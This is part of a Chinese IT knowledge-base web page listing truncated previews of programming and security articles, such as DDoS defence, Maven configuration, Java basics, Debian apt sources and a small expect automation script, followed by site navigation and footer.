                        <div>一是提升算法透明度。通过算法备案制度为算法风险监测和事后问责提供依据,借助“互联网信息服务算法备案系统”等途径公示算法推荐服务的基本原理、目的意图、主要运行机制等,提升透明度。二是重视安全评估制度。充分发挥具有舆论属性或社会动员能力的互联网信息服务安全评估制度在风险发现、隐患处置等方面的作用,为网信、公安等部门进行全流程监管提供抓手。三是强化主体责任落实。督促相关责任主体将法律法规要求和安全保障义</div>
                    </li>
                    <li><a href="/article/1767064962754240512.htm"
                           title="游戏盾如何应对微商城网站DDoS攻击" target="_blank">游戏盾如何应对微商城网站DDoS攻击</a>
                        <span class="text-muted">qq177803623</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/ddos/1.htm">ddos</a>
                        <div>游戏盾如何应对微商城网站DDoS攻击?随着电子商务的快速发展,微商城网站已成为众多商家开展在线业务的重要平台。然而,与此同时,网络安全威胁也愈发严重。其中,分布式拒绝服务(DDoS)攻击是一种常见的网络攻击方式,它能够通过大量的无效请求拥塞目标网站的服务器资源,导致网站无法正常服务,给商家带来巨大的经济损失和声誉损害。那么,游戏盾如何应对微商城网站DDoS攻击?游戏盾如何应对微商城网站DDoS攻击</div>
                    </li>
                    <li><a href="/article/1767024931134070784.htm"
                           title="物联网安全|TrustAsia助力PSWG应对全球物联网产品安全合规挑战" target="_blank">物联网安全|TrustAsia助力PSWG应对全球物联网产品安全合规挑战</a>
                        <span class="text-muted">TrustAsia</span>
<a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>万物互联时代,随着物联网连接数快速增长,物联网设备的潜在网络安全隐患也日益增长,可能导致设备故障、数据被盗、篡改、隐私泄露等问题的发生,甚至成为网络攻击的跳板,对互联网基础设施构成严重威胁。我们看到,各国监管机构、科技企业和消费者权益维护者高度重视这一问题,就维护物联网安全、构建物联终端安全体系达成行业共识。同时,积极寻求解决方案,目前,已有超过20个代表40多个国家的监管机构启动了物联网安全标识</div>
                    </li>
                    <li><a href="/article/1766933676966371328.htm"
                           title="网络安全(黑客)——自学2024" target="_blank">网络安全(黑客)——自学2024</a>
                        <span class="text-muted">小言同学喜欢挖漏洞</span>
<a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a>
                        <div>有很多想要转行网络安全或者选择网络安全专业的人在进行决定之前一定会有的问题:什么样的人适合学习网络安全?我适不适合学习网络安全?当然,产生这样的疑惑并不奇怪,毕竟网络安全这个专业在2017年才调整为国家一级学科,而且大众对于网络安全的认知度不高,了解最多的可能就是个人信息泄露或者社区经常宣传的国家反诈APP。正是因为知之甚少,所以会产生这一系列的疑问。到底什么样的人适合学习网络安全呢?(需要什么前</div>
                    </li>
                                <li><a href="/article/10.htm"
                                       title="jsonp 常用util方法" target="_blank">jsonp 常用util方法</a>
                                    <span class="text-muted">hw1287789687</span>
<a class="tag" taget="_blank" href="/search/jsonp/1.htm">jsonp</a><a class="tag" taget="_blank" href="/search/jsonp%E5%B8%B8%E7%94%A8%E6%96%B9%E6%B3%95/1.htm">jsonp常用方法</a><a class="tag" taget="_blank" href="/search/jsonp+callback/1.htm">jsonp callback</a>
                                    <div>jsonp 常用java方法 
(1)以jsonp的形式返回:函数名(json字符串) 
/***
	 * 用于jsonp调用
	 * @param map : 用于构造json数据
	 * @param callback : 回调的javascript方法名
	 * @param filters : <code>SimpleBeanPropertyFilter theFilt</div>
                                </li>
                                <li><a href="/article/137.htm"
                                       title="多线程场景" target="_blank">多线程场景</a>
                                    <span class="text-muted">alafqq</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a>
                                    <div>0 
能不能简单描述一下你在java web开发中需要用到多线程编程的场景?0 
对多线程有些了解,但是不太清楚具体的应用场景,能简单说一下你遇到的多线程编程的场景吗? 
Java多线程 
2012年11月23日 15:41 Young9007 Young9007 
4 
0 0 4 
 
Comment添加评论关注(2) 
3个答案 按时间排序 按投票排序 
 
0 
0 
最典型的如: 
1、</div>
                                </li>
                                <li><a href="/article/264.htm"
                                       title="Maven学习——修改Maven的本地仓库路径" target="_blank">Maven学习——修改Maven的本地仓库路径</a>
                                    <span class="text-muted">Kai_Ge</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>      安装Maven后我们会在用户目录下发现.m2 文件夹。默认情况下,该文件夹下放置了Maven本地仓库.m2/repository。所有的Maven构件(artifact)都被存储到该仓库中,以方便重用。但是windows用户的操作系统都安装在C盘,把Maven仓库放到C盘是很危险的,为此我们需要修改Maven的本地仓库路径。 
  
 </div>
                                </li>
                                <li><a href="/article/391.htm"
                                       title="placeholder的浏览器兼容" target="_blank">placeholder的浏览器兼容</a>
                                    <span class="text-muted">120153216</span>
<a class="tag" taget="_blank" href="/search/placeholder/1.htm">placeholder</a>
                                    <div>【前言】 
自从html5引入placeholder后,问题就来了, 
不支持html5的浏览器也先有这样的效果, 
各种兼容,之前考虑,今天测试人员逮住不放, 
想了个解决办法,看样子还行,记录一下。 
  
【原理】 
不使用placeholder,而是模拟placeholder的效果, 
大概就是用focus和focusout效果。 
  
【代码】 
<scrip</div>
                                </li>
                                <li><a href="/article/518.htm"
                                       title="debian_用iso文件创建本地apt源" target="_blank">debian_用iso文件创建本地apt源</a>
                                    <span class="text-muted">2002wmj</span>
<a class="tag" taget="_blank" href="/search/Debian/1.htm">Debian</a>
                                    <div>1.将N个debian-506-amd64-DVD-N.iso存放于本地或其他媒介内,本例是放在本机/iso/目录下

2.创建N个挂载点目录  
如下: 
debian:~#mkdir –r /media/dvd1 
debian:~#mkdir –r /media/dvd2 
debian:~#mkdir –r /media/dvd3 
…. 
debian:~#mkdir –r /media</div>
                                </li>
                                <li><a href="/article/645.htm"
                                       title="SQLSERVER耗时最长的SQL" target="_blank">SQLSERVER耗时最长的SQL</a>
                                    <span class="text-muted">357029540</span>
<a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a>
                                    <div>对于DBA来说,经常要知道存储过程的某些信息: 
 
1.   执行了多少次 
 
2.   执行的执行计划如何 
 
3.   执行的平均读写如何 
 
4.   执行平均需要多少时间 
 
列名          &</div>
                                </li>
                                <li><a href="/article/772.htm"
                                       title="com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil" target="_blank">com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil</a>
                                    <span class="text-muted">7454103</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>今天eclipse突然报了com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil 错误,并且工程文件打不开了,在网上找了一下资料,然后按照方法操作了一遍,好了,解决方法如下: 
 
错误提示信息: 
 
An error has occurred.See error log for more details. 
Reason: 
com/genuitec/</div>
                                </li>
                                <li><a href="/article/899.htm"
                                       title="用正则删除文本中的html标签" target="_blank">用正则删除文本中的html标签</a>
                                    <span class="text-muted">adminjun</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a><a class="tag" taget="_blank" href="/search/%E5%8E%BB%E6%8E%89html%E6%A0%87%E7%AD%BE/1.htm">去掉html标签</a>
                                    <div>使用文本编辑器录入文章存入数据中的文本是HTML标签格式,由于业务需要对HTML标签进行去除只保留纯净的文本内容,于是乎Java实现自动过滤。 
如下: 
public static String Html2Text(String inputString) {  
String htmlStr = inputString; // 含html标签的字符串
  String textSt</div>
                                </li>
                                <li><a href="/article/1026.htm"
                                       title="嵌入式系统设计中常用总线和接口" target="_blank">嵌入式系统设计中常用总线和接口</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/linux+%E5%9F%BA%E7%A1%80/1.htm">linux 基础</a>
                                    <div>               嵌入式系统设计中常用总线和接口 
  
        任何一个微处理器都要与一定数量的部件和外围设备连接,但如果将各部件和每一种外围设备都分别用一组线路与CPU直接连接,那么连线</div>
                                </li>
                                <li><a href="/article/1153.htm"
                                       title="Java函数调用方式——按值传递" target="_blank">Java函数调用方式——按值传递</a>
                                    <span class="text-muted">ayaoxinchao</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%8C%89%E5%80%BC%E4%BC%A0%E9%80%92/1.htm">按值传递</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%B1%A1/1.htm">对象</a><a class="tag" taget="_blank" href="/search/%E5%9F%BA%E7%A1%80%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B/1.htm">基础数据类型</a>
                                    <div>Java使用按值传递的函数调用方式,这往往使我感到迷惑。因为在基础数据类型和对象的传递上,我就会纠结于到底是按值传递,还是按引用传递。其实经过学习,Java在任何地方,都一直发挥着按值传递的本色。 
  
首先,让我们看一看基础数据类型是如何按值传递的。 
  
public static void main(String[] args) {
		
	int a = 2;
</div>
                                </li>
                                <li><a href="/article/1280.htm"
                                       title="ios音量线性下降" target="_blank">ios音量线性下降</a>
                                    <span class="text-muted">bewithme</span>
<a class="tag" taget="_blank" href="/search/ios%E9%9F%B3%E9%87%8F/1.htm">ios音量</a>
                                    <div>直接上代码吧 
  
//second 几秒内下降为0
- (void)reduceVolume:(int)second {
    KGVoicePlayer *player = [KGVoicePlayer defaultPlayer];
    
    if (!_flag) {
        _tempVolume = player.volume;
       </div>
                                </li>
                                <li><a href="/article/1407.htm"
                                       title="与其怨它不如爱它" target="_blank">与其怨它不如爱它</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E9%80%89%E6%8B%A9/1.htm">选择</a><a class="tag" taget="_blank" href="/search/%E7%90%86%E6%83%B3/1.htm">理想</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E4%B8%9A/1.htm">职业</a><a class="tag" taget="_blank" href="/search/%E8%A7%84%E5%88%92/1.htm">规划</a>
                                    <div>        抱怨工作是年轻人的常态,但爱工作才是积极的心态,与其怨它不如爱它。 
        一般来说,在公司干了一两年后,不少年轻人容易产生怨言,除了具体的埋怨公司“扭门”,埋怨上司无能以外,也有许多人是因为根本不爱自已的那份工作,工作完全成了谋生的手段,跟自已的性格、专业、爱好都相差甚远。 
  </div>
                                </li>
                                <li><a href="/article/1534.htm"
                                       title="一边时间不够用一边浪费时间" target="_blank">一边时间不够用一边浪费时间</a>
                                    <span class="text-muted">bingyingao</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4/1.htm">时间</a><a class="tag" taget="_blank" href="/search/%E6%B5%AA%E8%B4%B9/1.htm">浪费</a>
                                    <div>一方面感觉时间严重不够用,另一方面又在不停的浪费时间。 
 
每一个周末,晚上熬夜看电影到凌晨一点,早上起不来一直睡到10点钟,10点钟起床,吃饭后玩手机到下午一点。 
精神还是很差,下午像一直野鬼在城市里晃荡。 
 
 
为何不尝试晚上10点钟就睡,早上7点就起,时间完全是一样的,把看电影的时间换到早上,精神好,气色好,一天好状态。 
控制让自己周末早睡早起,你就成功了一半。 
 
有多少个工作</div>
                                </li>
                                <li><a href="/article/1661.htm"
                                       title="【Scala八】Scala核心二:隐式转换" target="_blank">【Scala八】Scala核心二:隐式转换</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>Implicits work like this: if you call a method on a Scala object, and the Scala compiler does not see a definition for that method in the class definition for that object, the compiler will try to con</div>
                                </li>
                                <li><a href="/article/1788.htm"
                                       title="sudoku slover in Haskell (2)" target="_blank">sudoku slover in Haskell (2)</a>
                                    <span class="text-muted">bookjovi</span>
<a class="tag" taget="_blank" href="/search/haskell/1.htm">haskell</a><a class="tag" taget="_blank" href="/search/sudoku/1.htm">sudoku</a>
                                    <div>继续精简haskell版的sudoku程序,稍微改了一下,这次用了8行,同时性能也提高了很多,对每个空格的所有解不是通过尝试算出来的,而是直接得出。 
  
board = [0,3,4,1,7,0,5,0,0,
         0,6,0,0,0,8,3,0,1,
         7,0,0,3,0,0,0,0,6,
         5,0,0,6,4,0,8,0,7,
</div>
                                </li>
                                <li><a href="/article/1915.htm"
                                       title="Java-Collections Framework学习与总结-HashSet和LinkedHashSet" target="_blank">Java-Collections Framework学习与总结-HashSet和LinkedHashSet</a>
                                    <span class="text-muted">BrokenDreams</span>
<a class="tag" taget="_blank" href="/search/linkedhashset/1.htm">linkedhashset</a>
                                    <div>        本篇总结一下两个常用的集合类HashSet和LinkedHashSet。 
        它们都实现了相同接口java.util.Set。Set表示一种元素无序且不可重复的集合;之前总结过的java.util.List表示一种元素可重复且有序</div>
                                </li>
                                <li><a href="/article/2042.htm"
                                       title="读《研磨设计模式》-代码笔记-备忘录模式-Memento" target="_blank">读《研磨设计模式》-代码笔记-备忘录模式-Memento</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 

import java.util.ArrayList;
import java.util.List;



/*
 * 备忘录模式的功能是,在不破坏封装性的前提下,捕获一个对象的内部状态,并在对象之外保存这个状态,为以后的状态恢复作“备忘”
</div>
                                </li>
                                <li><a href="/article/2169.htm"
                                       title="《RAW格式照片处理专业技法》笔记" target="_blank">《RAW格式照片处理专业技法》笔记</a>
                                    <span class="text-muted">cherishLC</span>
<a class="tag" taget="_blank" href="/search/PS/1.htm">PS</a>
                                    <div>注意,这不是教程!仅记录楼主之前不太了解的 
 
 一、色彩(空间)管理 
作者建议采用ProRGB(色域最广),但camera raw中设为ProRGB,而PS中则在ProRGB的基础上,将gamma值设为了1.8(更符合人眼) 
注意:bridge、camera raw怎么设置显示、输出的颜色都是正确的(会读取文件内的颜色配置文件),但用PS输出jpg文件时,必须先用Edit->conv</div>
                                </li>
                                <li><a href="/article/2296.htm"
                                       title="使用 Git 下载 Spring 源码 编译 for Eclipse" target="_blank">使用 Git 下载 Spring 源码 编译 for Eclipse</a>
                                    <span class="text-muted">crabdave</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>使用 Git 下载 Spring 源码 编译 for Eclipse 
  
1、安装gradle,下载 http://www.gradle.org/downloads 
配置环境变量GRADLE_HOME,配置PATH  %GRADLE_HOME%/bin,cmd,gradle -v 
  
2、spring4 用jdk8 下载 https://jdk8.java.</div>
                                </li>
                                <li><a href="/article/2423.htm"
                                       title="mysql连接拒绝问题" target="_blank">mysql连接拒绝问题</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E7%99%BB%E5%BD%95%E6%9D%83%E9%99%90/1.htm">登录权限</a>
                                    <div>mysql中在其它机器连接mysql服务器时报错问题汇总 
 
一、[running]root@192.168.9.136:~$mysql -uroot -h 192.168.9.108 -p   //带-p参数,在下一步进行密码输入 
Enter password:    //无字符串输入 
ERROR 1045 (28000): Access </div>
                                </li>
                                <li><a href="/article/2550.htm"
                                       title="Google Chrome 为何打压 H.264" target="_blank">Google Chrome 为何打压 H.264</a>
                                    <span class="text-muted">dsjt</span>
<a class="tag" taget="_blank" href="/search/apple/1.htm">apple</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/Google/1.htm">Google</a>
                                    <div>Google 今天在 Chromium 官方博客宣布由于 H.264 编解码器并非开放标准,Chrome 将在几个月后正式停止对 H.264 视频解码的支持,全面采用开放的 WebM 和 Theora 格式。 
 
Google 在博客上表示,自从 WebM 视频编解码器推出以后,在性能、厂商支持以及独立性方面已经取得了很大的进步,为了与 Chromium 现有支持的編解码器保持一致,Chrome</div>
                                </li>
                                <li><a href="/article/2677.htm"
                                       title="yii 获取控制器名 和方法名" target="_blank">yii 获取控制器名 和方法名</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a><a class="tag" taget="_blank" href="/search/framework/1.htm">framework</a>
                                    <div>1. 获取控制器名 
在控制器中获取控制器名:  $name = $this->getId(); 
在视图中获取控制器名:    $name = Yii::app()->controller->id;  
  
2. 获取动作名  
在控制器beforeAction()回调函数中获取动作名:  $name = </div>
                                </li>
                                <li><a href="/article/2804.htm"
                                       title="Android知识总结(二)" target="_blank">Android知识总结(二)</a>
                                    <span class="text-muted">come_for_dream</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>明天要考试了,速速总结如下 
  
1、Activity的启动模式 
       standard:每次调用Activity的时候都创建一个(可以有多个相同的实例,也允许多个相同Activity叠加。) 
       singleTop:可以有多个实例,但是不允许多个相同Activity叠加。即,如果Ac</div>
                                </li>
                                <li><a href="/article/2931.htm"
                                       title="高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元" target="_blank">高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元</a>
                                    <span class="text-muted">gcq511120594</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/1.htm">项目管理</a>
                                    <div>高洛峰,兄弟连IT教育合伙人、猿代码创始人、PHP培训第一人、《细说PHP》作者、软件开发工程师、《IT峰播》主创人、PHP讲师的鼻祖! 
首期现在的进程刚刚过半,徒弟们真的很棒,人品都没的说,团结互助,学习刻苦,工作认真积极,灵活上进。我几乎会把他们全部留下来,现在已有一多半安排了实际的工作,并取得了很好的成绩。等他们出徒之日,凭他们的能力一定能够拿到高薪,而且我还承诺过一个徒弟,当他拿到大学毕</div>
                                </li>
                                <li><a href="/article/3058.htm"
                                       title="linux expect" target="_blank">linux expect</a>
                                    <span class="text-muted">heipark</span>
<a class="tag" taget="_blank" href="/search/expect/1.htm">expect</a>
                                    <div>1. 创建、编辑文件go.sh 
  
#!/usr/bin/expect

spawn sudo su admin

expect  "*password*" { send "13456\r\n" }

interact  
   2. 设置权限 
   chmod u+x go.sh   3.</div>
                                </li>
                                <li><a href="/article/3185.htm"
                                       title="Spring4.1新特性——静态资源处理增强" target="_blank">Spring4.1新特性——静态资源处理增强</a>
                                    <span class="text-muted">jinnianshilongnian</span>
<a class="tag" taget="_blank" href="/search/spring+4.1/1.htm">spring 4.1</a>
                                    <div>目录 
Spring4.1新特性——综述 
Spring4.1新特性——Spring核心部分及其他 
Spring4.1新特性——Spring缓存框架增强 
Spring4.1新特性——异步调用和事件机制的异常处理 
Spring4.1新特性——数据库集成测试脚本初始化 
Spring4.1新特性——Spring MVC增强 
Spring4.1新特性——页面自动化测试框架Spring MVC T</div>
                                </li>
                                <li><a href="/article/3312.htm"
                                       title="idea ubuntuxia 乱码" target="_blank">idea ubuntuxia 乱码</a>
                                    <span class="text-muted">liyonghui160com</span>

                                    <div>    
1.首先需要在windows字体目录下或者其它地方找到simsun.ttf 这个 字体文件。 
2.在ubuntu 下可以执行下面操作安装该字体: 
sudo mkdir /usr/share/fonts/truetype/simsun
sudo cp simsun.ttf  /usr/share/fonts/truetype/simsun
fc-cache -f -v 
</div>
                                </li>
                                <li><a href="/article/3439.htm"
                                       title="改良程序的11技巧" target="_blank">改良程序的11技巧</a>
                                    <span class="text-muted">pda158</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%80%E5%B7%A7/1.htm">技巧</a>
                                    <div>有很多理由都能说明为什么我们应该写出清晰、可读性好的程序。最重要的一点,程序你只写一次,但以后会无数次的阅读。当你第二天回头来看你的代码 时,你就要开始阅读它了。当你把代码拿给其他人看时,他必须阅读你的代码。因此,在编写时多花一点时间,你会在阅读它时节省大量的时间。 
  
让我们看一些基本的编程技巧: 
  
 
 尽量保持方法简短 
 永远永远不要把同一个变量用于多个不同的</div>
                                </li>
                                <li><a href="/article/3566.htm"
                                       title="300个涵盖IT各方面的免费资源(下)——工作与学习篇" target="_blank">300个涵盖IT各方面的免费资源(下)——工作与学习篇</a>
                                    <span class="text-muted">shoothao</span>
<a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A/1.htm">创业</a><a class="tag" taget="_blank" href="/search/%E5%85%8D%E8%B4%B9%E8%B5%84%E6%BA%90/1.htm">免费资源</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%AF%BE%E7%A8%8B/1.htm">学习课程</a><a class="tag" taget="_blank" href="/search/%E8%BF%9C%E7%A8%8B%E5%B7%A5%E4%BD%9C/1.htm">远程工作</a>
                                    <div>工作与生产效率: 
  
 
 A. 背景声音 
 
 
  Noisli:背景噪音与颜色生成器。 
  Noizio:环境声均衡器。 
  Defonic:世界上任何的声响都可混合成美丽的旋律。 
  Designers.mx:设计者为设计者所准备的播放列表。 
  Coffitivity:这里的声音就像咖啡馆里放的一样。 
 
 
 B. 避免注意力分散 
 
 
  Self Co</div>
                                </li>
                                <li><a href="/article/3693.htm"
                                       title="深入浅出RPC" target="_blank">深入浅出RPC</a>
                                    <span class="text-muted">uule</span>
<a class="tag" taget="_blank" href="/search/rpc/1.htm">rpc</a>
                                    <div>深入浅出RPC-浅出篇 
深入浅出RPC-深入篇 
  
RPC 
Remote Procedure Call Protocol 
远程过程调用协议 
  
它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>